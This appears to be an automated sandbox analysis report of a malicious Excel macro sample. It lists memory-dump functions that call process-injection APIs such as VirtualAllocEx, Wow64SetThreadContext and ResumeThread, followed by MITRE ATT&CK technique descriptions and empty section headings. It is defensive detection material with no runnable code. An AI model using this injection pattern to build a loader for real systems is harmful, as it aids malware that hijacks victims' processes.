APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00D49A82

Memory Dump Source

Source File: 00000012.00000002.2208957070.0000000000D40000.00000040.00000001.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_d40000_ntrwe.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 54d485fc1649ee51456e76df9b3d331be4b09f1964ed0537b9cef439c1780977
Instruction ID: ee41c8d8c2a5cd5b6cdeb1d760f6cb285f247fa05c82467b2b7f5fb7a7592d55
Opcode Fuzzy Hash: 54d485fc1649ee51456e76df9b3d331be4b09f1964ed0537b9cef439c1780977
Instruction Fuzzy Hash: 113187B4D002589FCF10CFA9D884ADEFBB5BB49314F20982AE815B7310D775A956CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00403AC1, Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00403B6F

Memory Dump Source

Source File: 00000012.00000002.2208424754.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4decc518e0da377b898f33a34d53568fb5cd17897c5a8075945f91a8b8533851
Instruction ID: 93d6db6ef0ae713389133533d0675b71a8832cc17db751da0328a59d8927c8f2
Opcode Fuzzy Hash: 4decc518e0da377b898f33a34d53568fb5cd17897c5a8075945f91a8b8533851
Instruction Fuzzy Hash: 5931ABB5D002589FCB10CFA9D884ADEFBB4BF59310F24946AE814B7310D374AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004077B8, Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00407867

Memory Dump Source

Source File: 00000012.00000002.2208424754.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5c0178b9ae5022c6440c50da2f62fc538367e5b93f726ddabf2d908cb149aac5
Instruction ID: 4ed485b6e7c283b61669a766e61b3eca767f166269e6778fc3fb8cda9953bf52
Opcode Fuzzy Hash: 5c0178b9ae5022c6440c50da2f62fc538367e5b93f726ddabf2d908cb149aac5
Instruction Fuzzy Hash: F931AAB5D04258DFCB10CFA9E884ADEFBB0AF19310F24942AE814B7350D378A945CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00D4A110, Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00D4A1BF

Memory Dump Source

Source File: 00000012.00000002.2208957070.0000000000D40000.00000040.00000001.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_d40000_ntrwe.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 894270c1f74ad1d04bbe753c7a3aa28d8cf30e2087a2f1d1598b529bb8245804
Instruction ID: cc65d7e120ec22d7335ba6b73afb901c3924e7d486bbbde3fa4ba064b1e7627c
Opcode Fuzzy Hash: 894270c1f74ad1d04bbe753c7a3aa28d8cf30e2087a2f1d1598b529bb8245804
Instruction Fuzzy Hash: 5731ABB4D012589FDB10CFA9D884AEEFBF5BF49314F24842AE815B7240D778A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00403AC8, Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00403B6F

Memory Dump Source

Source File: 00000012.00000002.2208424754.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4670529e4b537c7b31dbd43569027dbd592e12fa8532319bb04755b9b3fffbb5
Instruction ID: 80934176c27adbc385a1ee9e2b7af7973683f002dbca8c66790723d58ed8b7cc
Opcode Fuzzy Hash: 4670529e4b537c7b31dbd43569027dbd592e12fa8532319bb04755b9b3fffbb5
Instruction Fuzzy Hash: 1E3199B9D002589FCB10CFA9E484ADEFBB4BB19310F24942AE814B7310D778AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004077C0, Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00407867

Memory Dump Source

Source File: 00000012.00000002.2208424754.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 81250e7a398bdf78aa693b232e008a759b2b109f3e94def51b706a633161320e
Instruction ID: be9c1567a6372c8686fe88d10e2c4c87c8dec8c7661e222eaf53d225362402ea
Opcode Fuzzy Hash: 81250e7a398bdf78aa693b232e008a759b2b109f3e94def51b706a633161320e
Instruction Fuzzy Hash: 8B3199B5D042589FCB10CFA9E484ADEFBB4BB49310F24942AE814B7350D378A945CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00407E7A, Relevance: 1.6, APIs: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?), ref: 00407F19

Memory Dump Source

Source File: 00000012.00000002.2208424754.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_ntrwe.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: eef6be215c2af5aab544100aabc9a75361bd039cf0cd29033cc7e879a2b0f48f
Instruction ID: 5338ca48c365ce440c251ec3e8cc7a5e00dff2d6b96b2f7408fbb60489883439
Opcode Fuzzy Hash: eef6be215c2af5aab544100aabc9a75361bd039cf0cd29033cc7e879a2b0f48f
Instruction Fuzzy Hash: D931C9B4D052599FCB00CFA9D884AEEFBF0AF49314F24846AE404B7350D378AA46CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00402F5C, Relevance: 1.6, APIs: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?), ref: 00407F19

Memory Dump Source

Source File: 00000012.00000002.2208424754.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_ntrwe.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: d65ecbc264c0d449953e4c665bc42484ca3b724746d40a14be619a8a92b52672
Instruction ID: 6926dff5acc281bdcabb680791c0c977b417990c41a17185d9170e3433c62a6d
Opcode Fuzzy Hash: d65ecbc264c0d449953e4c665bc42484ca3b724746d40a14be619a8a92b52672
Instruction Fuzzy Hash: FC31BBB4D05219DFCB10CFA9D884AEEFBF5EB49314F24846AE804B7350D378AA45CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00D4A360, Relevance: 1.6, APIs: 1, Instructions: 77threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 00D4A3E6

Memory Dump Source

Source File: 00000012.00000002.2208957070.0000000000D40000.00000040.00000001.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_d40000_ntrwe.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 742367f0b1476d32235bbfbba9a94d5b12777d1a7ed1e44a9ab7373c738e5d6e
Instruction ID: 7ee5ded3730b6567e6d7747c52c9134d0b706e2b85107ee03636eaef7e5ca0ac
Opcode Fuzzy Hash: 742367f0b1476d32235bbfbba9a94d5b12777d1a7ed1e44a9ab7373c738e5d6e
Instruction Fuzzy Hash: BB31CBB4D012189FCF14CFA9E884AEEFBB4AF49314F24982AE815B7310D774A945CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00D4A368, Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 00D4A3E6

Memory Dump Source

Source File: 00000012.00000002.2208957070.0000000000D40000.00000040.00000001.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_d40000_ntrwe.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 08c67c9fe5139be5a6c562390a8f5cd4cb1d2e4da87654a9736e248ccad96b0f
Instruction ID: 33f3a675fdd0c3f1fa8cacc6f2f65c008c71cc3f07f69d0f9bce0035f8dffdee
Opcode Fuzzy Hash: 08c67c9fe5139be5a6c562390a8f5cd4cb1d2e4da87654a9736e248ccad96b0f
Instruction Fuzzy Hash: 6C31A9B4D012189FCB14CFA9E884ADEFBB4AF49314F24982AE815B7300D774A945CF65

Uniqueness

Uniqueness Score: -1.00%

Function 001BD3D8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2208253332.00000000001BD000.00000040.00000001.sdmp, Offset: 001BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1bd000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008624e6721af37ca87d904341ad95965ce65217efcf275d56816666e8fc1e74
Instruction ID: 2c34493e17945344002cc905303bd10dca512c937d3fe7fc1652ae02b600d2c4
Opcode Fuzzy Hash: 008624e6721af37ca87d904341ad95965ce65217efcf275d56816666e8fc1e74
Instruction Fuzzy Hash: B0213775500204DFDB19DF50E9C4B9ABF65FB98324F30C6A9E8054B706D33AE846CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001BD4C4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2208253332.00000000001BD000.00000040.00000001.sdmp, Offset: 001BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1bd000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5b1c26b496722ab38e32de62b009e6bf907afc3eea9090af90032c1bbce1c23
Instruction ID: 3a718bb6c50eec4177a7d4693afe9604468fa3f3347f2562c083559fc4c48387
Opcode Fuzzy Hash: f5b1c26b496722ab38e32de62b009e6bf907afc3eea9090af90032c1bbce1c23
Instruction Fuzzy Hash: 82213775500244DFCB29DF14E8C4BAABF75FB94318F30C5A9E8050B606D336E846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001BD3D3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2208253332.00000000001BD000.00000040.00000001.sdmp, Offset: 001BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1bd000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ea56b3947d986341c0b6b7dda0973d1e11cfe72b5a075273c84b72da0e971e
Instruction ID: 0e700eedfdbe78a94e6ba532f478c3c72289f36f925a187faaff241ce3d1173a
Opcode Fuzzy Hash: c4ea56b3947d986341c0b6b7dda0973d1e11cfe72b5a075273c84b72da0e971e
Instruction Fuzzy Hash: 7E11E676404280DFCF16CF14E5C4B56BF71FB94324F24C6A9D8094B616C33AE85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001BD4BF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2208253332.00000000001BD000.00000040.00000001.sdmp, Offset: 001BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1bd000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ea56b3947d986341c0b6b7dda0973d1e11cfe72b5a075273c84b72da0e971e
Instruction ID: 7384319625c4bd8f07c028d696b591be38ca15d205f5b8d56d251ba5e3c93083
Opcode Fuzzy Hash: c4ea56b3947d986341c0b6b7dda0973d1e11cfe72b5a075273c84b72da0e971e
Instruction Fuzzy Hash: D9110876804280CFCF16CF14E5C4B5ABF71FB94314F24C6A9D8050B616C33AD856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001BD775, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2208253332.00000000001BD000.00000040.00000001.sdmp, Offset: 001BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1bd000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d78207c1edc9bd7f592ca868909e368eb4a04921fbf6ad5a3e824097670dc6a
Instruction ID: 4ea9f1eb4df0f112185f16989e6897e3f513cfc5629c411f42579bc7537d554f
Opcode Fuzzy Hash: 2d78207c1edc9bd7f592ca868909e368eb4a04921fbf6ad5a3e824097670dc6a
Instruction Fuzzy Hash: D401F7310043409EE7148A56DC88BE7BF9CDF51728F28C55AED045B282E7399C40C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 001BD774, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2208253332.00000000001BD000.00000040.00000001.sdmp, Offset: 001BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1bd000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ea9fa1672fd7d9345e7f78e66dd027a6413424d48fd77671ebfe098d1f3572b
Instruction ID: 7125d2486182f4c5d63dbf0a14dd86a9031bfaeec5dad723e1d9cdfff80fd9b3
Opcode Fuzzy Hash: 6ea9fa1672fd7d9345e7f78e66dd027a6413424d48fd77671ebfe098d1f3572b
Instruction Fuzzy Hash: 78F062724046449EE7148E16D888BA7FF98EB91734F28C55AED085B286D378AC44CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 6Cprm97UTl

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "6Cprm97UTl.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 116784

General

Macro 4.0 Code

Network Behavior

Snort IDS Alerts

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques.
Tactics:	Collection
Data Sources:	API monitoring, Authentication logs, Packet capture, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre